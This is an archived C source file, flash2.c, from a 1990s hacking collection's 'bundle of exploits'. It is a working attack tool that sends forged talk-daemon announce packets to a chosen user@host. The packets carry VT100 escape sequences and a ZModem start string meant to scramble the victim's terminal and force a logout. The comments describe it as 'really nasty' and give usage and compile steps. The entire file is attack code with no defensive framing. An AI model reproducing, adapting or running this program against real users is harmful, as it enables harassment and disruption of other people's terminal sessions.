home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / flash2.c < prev    next >
Text File  |  1997-02-10  |  5KB  |  216 lines

  1. /* flash.c */
  2.  
  3. /* 
  4.    - Modified from the original a very, very little bit by Vassago
  5.    - to add the ZModem Start Strings, and make it flash 7 times.    
  6. */
  7.  
  8. /* This little program is intended to quickly mess up a user's
  9.    terminal by issuing a talk request to that person and sending
  10.    vt100 escape characters that force the user to logout or kill
  11.    his/her xterm in order to regain a sane view of the text.
  12.    It the user's message mode is set to off (mesg n) he/she will
  13.    be unharmed. 
  14.    This program is really nasty :-)
  15.  
  16.    Usage: flash user@host
  17.  
  18.    try compiling with: gcc -o flash flash.c
  19. */
  20.  
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netinet/in.h>
  24. #include <netdb.h>
  25. #include <stdio.h>
  26. #include <strings.h>
  27.  
  28. /* this should really be in an include file..  */
  29.  
  30. #define OLD_NAME_SIZE 9
  31. #define NAME_SIZE    12
  32. #define TTY_SIZE     16 
  33. typedef struct {
  34.     char    type;
  35.     char    l_name[OLD_NAME_SIZE];
  36.     char    r_name[OLD_NAME_SIZE];
  37.     char    filler;
  38.     u_long  id_num;
  39.     u_long  pid;
  40.     char    r_tty[TTY_SIZE];
  41.     struct  sockaddr_in addr;
  42.     struct  sockaddr_in ctl_addr;
  43. } OLD_MSG;
  44.  
  45. typedef struct {
  46.     u_char  vers;
  47.     char    type;
  48.     u_short filler;
  49.     u_long  id_num;
  50.     struct  sockaddr_in addr;
  51.     struct  sockaddr_in ctl_addr;
  52.     long    pid;
  53.     char    l_name[NAME_SIZE];
  54.     char    r_name[NAME_SIZE];
  55.     char    r_tty[TTY_SIZE];
  56. } CTL_MSG;
  57.  
  58. #define TALK_VERSION    1               /* protocol version */
  59.  
  60. /* Types */
  61. #define LEAVE_INVITE    0
  62. #define LOOK_UP         1
  63. #define DELETE          2
  64. #define ANNOUNCE        3
  65.  
  66. int     current = 1;    /* current id..  this to avoid duplications */
  67.  
  68. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  69. {
  70. static  struct sockaddr    addr;
  71. struct  sockaddr_in *address;
  72. struct  hostent     *host;
  73.  
  74. address = (struct sockaddr_in *)&addr;
  75. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  76. /* fill in the easy fields */
  77. address->sin_family = AF_INET;
  78. address->sin_port = htons(port);
  79. /* first, check if the address is an ip address */
  80. address->sin_addr.s_addr = inet_addr(hostname);
  81. if ( (int)address->sin_addr.s_addr == -1)
  82.     {
  83.     /* it wasn't.. so we try it as a long host name */
  84.     host = gethostbyname(hostname);
  85.     if (host)
  86.         {
  87.         /* wow.  It's a host name.. set the fields */
  88.         /* ?? address->sin_family = host->h_addrtype; */
  89.         bcopy( host->h_addr, (char *)&address->sin_addr,
  90.             host->h_length);
  91.         }
  92.     else
  93.         {
  94.         /* oops.. can't find it.. */
  95.         puts("Couldn't find address"); 
  96.         exit(-1);
  97.         return (struct sockaddr_in *)0;
  98.         }
  99.     }
  100. /* all done. */
  101. return (struct sockaddr_in *)address;
  102. }
  103.  
  104. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  105. {
  106. int     s;
  107. struct sockaddr sample; /* not used.. only to get the size */
  108.  
  109. s = socket(AF_INET, SOCK_DGRAM, 0);
  110. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  111.  
  112.  
  113. new_ANNOUNCE(char *hostname, char *remote, char *local)
  114. {
  115. CTL_MSG  packet; 
  116. struct   sockaddr_in  *address;
  117.  
  118. /* create a packet */
  119. address = getinaddr(hostname, 666 );  
  120. address->sin_family = htons(AF_INET); 
  121.  
  122. bzero( (char *)&packet, sizeof(packet) );
  123. packet.vers   = TALK_VERSION; 
  124. packet.type   = ANNOUNCE;   
  125. packet.pid    = getpid();
  126. packet.id_num = current;
  127. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  128. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  129. strncpy( packet.l_name, local, NAME_SIZE); 
  130. strncpy( packet.r_name, remote, NAME_SIZE); 
  131. strncpy( packet.r_tty, "", 1); 
  132.  
  133. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  134. }
  135.  
  136. old_ANNOUNCE(char *hostname, char *remote, char *local)
  137. {
  138. OLD_MSG  packet;
  139. struct   sockaddr_in  *address;
  140.  
  141. /* create a packet */
  142. address = getinaddr(hostname, 666 );
  143. address->sin_family = htons(AF_INET);
  144.  
  145. bzero( (char *)&packet, sizeof(packet) );
  146. packet.type   = ANNOUNCE;
  147. packet.pid    = getpid();
  148. packet.id_num = current;
  149. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  150. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  151. strncpy( packet.l_name, local, NAME_SIZE);
  152. strncpy( packet.r_name, remote, NAME_SIZE);
  153. strncpy( packet.r_tty, "", 1);
  154.  
  155. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  156. }
  157.  
  158. main(int argc, char *argv[])
  159. {
  160.     char    *hostname, *username; 
  161.     int     pid;
  162.  
  163.     if ( (pid = fork()) == -1)  
  164.         {
  165.         perror("fork()");
  166.         exit(-1);
  167.         }
  168.     if ( !pid )
  169.         {
  170.         exit(0);
  171.         }
  172.     if (argc < 2) { 
  173.         puts("Usage: <finger info> ");
  174.         exit(5);
  175.     }
  176.     username = argv[1]; 
  177.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  178.         {
  179.         puts("Invalid name.  ");
  180.         exit(-1);
  181.         }
  182.     *hostname = '\0'; 
  183.     hostname++; 
  184.  
  185.     if (*username == '~') 
  186.         username++; 
  187.  
  188. #define FIRST "\033c\033(0\033#8" 
  189. #define SECOND "\033[1;3r\033[J"
  190. #define THIRD  "\033[5m\033[?5h"
  191. #define FOURTH "**B00"
  192.     new_ANNOUNCE(hostname, username, FIRST);
  193.     old_ANNOUNCE(hostname, username, FIRST);
  194.     current++; 
  195.     new_ANNOUNCE(hostname, username, SECOND);
  196.     new_ANNOUNCE(hostname, username, SECOND);
  197.     current++;
  198.     new_ANNOUNCE(hostname, username, THIRD); 
  199.     old_ANNOUNCE(hostname, username, THIRD);
  200.     current++;
  201.     new_ANNOUNCE(hostname, username, FOURTH); 
  202.     old_ANNOUNCE(hostname, username, FOURTH);
  203.     current++;
  204.     new_ANNOUNCE(hostname, username, THIRD); 
  205.     old_ANNOUNCE(hostname, username, THIRD);
  206.     current++;
  207.     new_ANNOUNCE(hostname, username, FOURTH);
  208.     old_ANNOUNCE(hostname, username, FOURTH);
  209.     current++;
  210.     new_ANNOUNCE(hostname, username, FOURTH);
  211.     old_ANNOUNCE(hostname, username, FOURTH);
  212. }
  213.  
  214.  
  215.